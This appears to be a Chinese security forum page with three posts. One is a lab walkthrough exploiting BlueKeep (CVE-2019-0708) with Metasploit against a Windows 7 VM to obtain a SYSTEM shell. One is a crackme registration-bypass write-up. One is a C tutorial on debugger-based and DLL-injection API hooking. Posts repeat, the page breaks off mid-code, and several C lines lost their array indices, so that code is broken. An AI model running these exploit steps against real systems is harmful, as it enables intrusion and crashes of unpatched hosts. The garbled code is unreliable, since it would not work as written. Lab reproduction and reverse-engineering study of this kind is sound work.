https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。 查看全部
在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。
自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。
在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
攻击机ip(kali linux):192.168.1.105
靶 机ip(win7 SP1) :192.168.1.106
win7 SP1 镜像地址:
ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/
CVE-2019-0708套件:
https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw
0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:
apt-get update
apt-get install metasploit-framework
更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。
[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit
rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp
cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp
cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp
需要注意如果没有目录就去创建个。
接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块
reload_all之后直接搜索0708漏洞。
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit
target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。
现在就是开开心心的等待shell的出现啦
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。
set target 1
exploit
随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~
赶紧回头看看靶机有没有什么异常
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
CVE-2019-0708拿下shell之后直接为SYSTEM权限
至此复现结束。
0x03 漏洞危害
目前公布的影响范围:
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
参考:
http://kalilinux.com.cn/index.php/archives/82/
https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247485263&idx=2&sn=da247e593463b63b2253b0ce62787b69&chksm=fa51d2f1cd265be716d2517ddcfcc98e1bb3649181b3d250f66b05e0aa1b3a320b41ea901a13&mpshare=1&scene=1&srcid=0911j78dzFjBRUY6uHzeIEbd&sharer_sharetime=1568180742252&sharer_shareid=76a06f4576675deef8179292e6236ed2&key=42700e604ea8a865f4775c719d7fa0111b4d283e9036ad7e74b1d58709285c96c23987125384d5e4176b427f4328950e58897c622b1770d3eb1efef0c3c3b8cee305be0483e2224d3d821b2f262b9db0&ascene=1&uin=Mjc1NzUxODY0MA%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pAtBeQgmLbQrU%2Ft5nmU5pDFshboLEjqWILQbnelerMwoTPAwAp9JrFvGZDC7xh0r
第二个链接有非常非常详细的原理讲解,想看的大佬可以看看。
Crackme004
REVERSE-逆向 • snow 发表了文章 • 1 个评论 • 122 次浏览 • 2019-09-08 14:50
在输入用户名和正确的注册码之后,会出现“朱茵”小姐的一副靓照。
使用 OD 加载程序,搜索字符串,发现线索:
双击进入,向上找,发现一个比较和跳转语句:
00458031 处的 cmp 和 0045803D 处的 JNZ 跳转很可疑。
于是在 0045803B 处下断点,然后随便输入用户名和注册码,双击下面的灰白框,程序断在了断点处
我们修改正常的比较结果,果然成功注册
爆破成功了,接下来该找程序的注册算法部分了。
由于该程序是使用 Delphi 写的,我们可以使用一个叫 E2A 的软件加载该程序,可以方便的查看各种事件。
可以看到有一个叫做 chkcode 的东西,我们先对该事件 edit2 的代码下断点,发现只要输入注册码,程序就会触发该断点,我们可以判断该处代码很可能是检验验证码的代码,向下看代码,很快就发现了关键的代码
00457C66 处的 mov esi,dword ptr ds:[ebx+0x2F8] ,得到我们输入的名字的长度
00457C6C 处的 add esi,0x5,将长度加5
00457C7A 处的 call CKme.00407B04,调用函数将长度转化为字符串
00457C91 处的 call CKme.00423348,得到我们输入的名字
00457CA4 处的 call CKme.00403C3C,将四个字符串“黑头Sun Bird”、“13”、“dseloffc-012-OK”、“11223344”连接起来,成为一个字符串“黑头Sun Bird13dseloffc-012-OK11223344”。
大胆猜测这是正确的激活码,输入尝试,发现是正确的
所以可以知道正确的注册码就是:“黑头Sun Bird”+“用户名长度加上5”+“dseloffc-012-OK”+“用户名”。
但是还有一个问题。上面是根据比较内存 951C9C 处的值和 0x85来判断是否是正确的验证码的
所以应该还有地方进行比较是否是正确的验证码,并将该区域的值设为 0x85 才对。
继续向下找
00457D35 处的 call CKme.00403C8C,用以比较我们输入的注册码和正确的注册码是否相同,如果相同,将 951C9C 处的值设为 0x3E。
但还是不对,0x3E 是小于 0x85 的,在比较的地方,依然要跳到错误的提示。
这里就不和大家卖关子了,其实程序还有两个事件,一个是单击事件,一个是双击事件。
判断是否为 0x85 的代码在单击事件的代码处。我们在双击事件的代码首部下断点,运行程序。
可以看到,00457EF5 处的代码判断 951C9C 处的值是否为 0x3E,如果是,则将值设为 0x85。
所以,程序的流程就是,输入注册码之后,程序根据用户名计算正确的注册码,然后判断输入的注册码是否正确,如果正确将 951C9C 处的值设为 0x3E。
我们输入用户名和注册码之后,会点击程序的图像区域,如果发生了双击事件。程序就会根据 951C9C 处的值判断是否设为 0x85。
如果发生了单击事件,程序会根据 951C9C 处的值是否为 0x85 判断注册码是否正确,从而进行跳转。
如果我们将判断跳转的代码处,也就是单机事件的代码处设置了断点的话,那么永远也不会发生双击事件。所以要想调试该程序,必须先把单击事件处的断点去除。
所以输入正确的注册码之后,双击后单击图像区域,就会出现“朱茵”小姐的靓照。
查看全部
在输入用户名和正确的注册码之后,会出现“朱茵”小姐的一副靓照。
使用 OD 加载程序,搜索字符串,发现线索:
双击进入,向上找,发现一个比较和跳转语句:
00458031 处的 cmp 和 0045803D 处的 JNZ 跳转很可疑。
于是在 0045803B 处下断点,然后随便输入用户名和注册码,双击下面的灰白框,程序断在了断点处
我们修改正常的比较结果,果然成功注册
爆破成功了,接下来该找程序的注册算法部分了。
由于该程序是使用 Delphi 写的,我们可以使用一个叫 E2A 的软件加载该程序,可以方便的查看各种事件。
可以看到有一个叫做 chkcode 的东西,我们先对该事件 edit2 的代码下断点,发现只要输入注册码,程序就会触发该断点,我们可以判断该处代码很可能是检验验证码的代码,向下看代码,很快就发现了关键的代码
00457C66 处的 mov esi,dword ptr ds:[ebx+0x2F8] ,得到我们输入的名字的长度
00457C6C 处的 add esi,0x5,将长度加5
00457C7A 处的 call CKme.00407B04,调用函数将长度转化为字符串
00457C91 处的 call CKme.00423348,得到我们输入的名字
00457CA4 处的 call CKme.00403C3C,将四个字符串“黑头Sun Bird”、“13”、“dseloffc-012-OK”、“11223344”连接起来,成为一个字符串“黑头Sun Bird13dseloffc-012-OK11223344”。
大胆猜测这是正确的激活码,输入尝试,发现是正确的
所以可以知道正确的注册码就是:“黑头Sun Bird”+“用户名长度加上5”+“dseloffc-012-OK”+“用户名”。
但是还有一个问题。上面是根据比较内存 951C9C 处的值和 0x85来判断是否是正确的验证码的
所以应该还有地方进行比较是否是正确的验证码,并将该区域的值设为 0x85 才对。
继续向下找
00457D35 处的 call CKme.00403C8C,用以比较我们输入的注册码和正确的注册码是否相同,如果相同,将 951C9C 处的值设为 0x3E。
但还是不对,0x3E 是小于 0x85 的,在比较的地方,依然要跳到错误的提示。
这里就不和大家卖关子了,其实程序还有两个事件,一个是单击事件,一个是双击事件。
判断是否为 0x85 的代码在单击事件的代码处。我们在双击事件的代码首部下断点,运行程序。
可以看到,00457EF5 处的代码判断 951C9C 处的值是否为 0x3E,如果是,则将值设为 0x85。
所以,程序的流程就是,输入注册码之后,程序根据用户名计算正确的注册码,然后判断输入的注册码是否正确,如果正确将 951C9C 处的值设为 0x3E。
我们输入用户名和注册码之后,会点击程序的图像区域,如果发生了双击事件。程序就会根据 951C9C 处的值判断是否设为 0x85。
如果发生了单击事件,程序会根据 951C9C 处的值是否为 0x85 判断注册码是否正确,从而进行跳转。
如果我们将判断跳转的代码处,也就是单机事件的代码处设置了断点的话,那么永远也不会发生双击事件。所以要想调试该程序,必须先把单击事件处的断点去除。
所以输入正确的注册码之后,双击后单击图像区域,就会出现“朱茵”小姐的靓照。
API 钩取
编程 • snow 发表了文章 • 1 个评论 • 149 次浏览 • 2019-08-12 20:17
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。
IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。
如何向目标进程设置钩取函数:
调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。注入法
调试法:
伪代码Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}
DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:
CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)
EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)
EXIT_PROCESS_DEBUG_EVENT //终止调试
break
}
}
OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点
}
OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
} #include "windows.h"
#include "stdio.h"
LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;
BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}
void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}
int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}
注入法
之
通过 DLL 注入修改 IAT 来进行 API 钩取
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
难点1:选定目标 API。
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
到此为止,我们的目的总共有 3 个。
将 DLL 注入进目标进程。替换目标进程 IAT 中的 API 地址。将阿拉伯数字跟改为中文数字。
0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
0x2: 如何替换 API 地址?
找到目标 API 在 IAT 中的存储地址。得到我们的函数的地址。进行替换。
0x2.1:如何找到目标 API 在 IAT 中的存储地址
找到内存中导入表地址。遍历 IID,找到目标 DLL 对应的 IID。遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。
具体实现://参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);
//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);
//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
pThunk->u1.Function = (DWORD64)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
0x3:将阿拉伯数字更换为中文数字 BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]
[i][i][i] DLL 全部的代码:[/i][/i][/i][i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"
// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);
// globals
FARPROC g_pOrgFunc = NULL;
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString && lpString <= L'9' )
{
temp[0] = lpString;
nIndex = _wtoi(temp);
lpString = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}
// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
pAddr += *((DWORD*)&pAddr[0x3C]);
dwRVA = *((DWORD*)&pAddr[0x90]);
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是IID的名字
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
pThunk->u1.Function = (DWORD64)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
"SetWindowTextW");
hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
break;
case DLL_PROCESS_DETACH :
hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
break;
}
return TRUE;
}
[/i][/i][/i][/i] 查看全部
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。
- IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。
- 代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。
- EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。
如何向目标进程设置钩取函数:
- 调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。
- 注入法
调试法:
伪代码
Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}
DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:
CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)
EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)
EXIT_PROCESS_DEBUG_EVENT //终止调试
break
}
}
OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点
}
OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
}
#include "windows.h"
#include "stdio.h"
LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;
BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}
void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
